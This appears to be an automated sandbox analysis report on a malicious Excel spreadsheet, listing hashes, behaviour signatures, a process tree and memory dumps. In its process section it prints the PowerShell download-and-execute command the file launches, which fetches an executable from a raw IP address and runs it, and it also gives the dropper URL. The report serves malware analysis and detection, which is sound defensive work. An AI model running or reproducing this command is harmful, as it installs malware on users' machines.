Analysis

  • max time kernel
    26s
  • max time network
    28s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    07/11/2024, 21:30

General

  • Target

    1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66.xls

  • Size

    23KB

  • MD5

    62b9fa7851ba3147b20ceae3f8b61029

  • SHA1

    4ad45f6d537615bcc07bbc51940b83b3b4842d52

  • SHA256

    1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66

  • SHA512

    f2744b66ef8bfad21ca12a73a66847b4f17910ba9f2f1b83969b4f7100a7b14f21bdacf6021b83b565e9564a62ebf393b74dc8d483410c15a29d1a687540f044

  • SSDEEP

    192:JHa439gyLPUV+/T/D/GX2H5kUyabvHV6jaFEqYGfIoBkJZWMVnTag:c+Lb6AgabP8jaFzYGfIA

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://92.63.88.104/fdhtepopdhd/sfbwurwfl/wyxbdf.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1892
    • C:\Windows\SysWOW64\cmd.exe
      cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.104/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','%TEMP%\JIOiodfhioIH.exe');Start-Process '%TEMP%\JIOiodfhioIH.exe';
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2780
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.104/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','C:\Users\Admin\AppData\Local\Temp\JIOiodfhioIH.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\JIOiodfhioIH.exe';
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2992

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • memory/1892-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

          Filesize

          64KB

        • memory/1892-1-0x00000000731ED000-0x00000000731F8000-memory.dmp

          Filesize

          44KB

        • memory/1892-2-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-5-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-3-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-18-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-16-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-17-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-15-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-12-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-13-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-11-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-23-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-10-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-9-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-7-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-6-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-4-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-32-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-21-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-36-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-35-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-34-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-33-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-30-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-29-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-27-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-28-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-26-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-25-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-24-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-20-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-19-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB

        • memory/1892-39-0x00000000731ED000-0x00000000731F8000-memory.dmp

          Filesize

          44KB

        • memory/1892-40-0x00000000004E0000-0x00000000005E0000-memory.dmp

          Filesize

          1024KB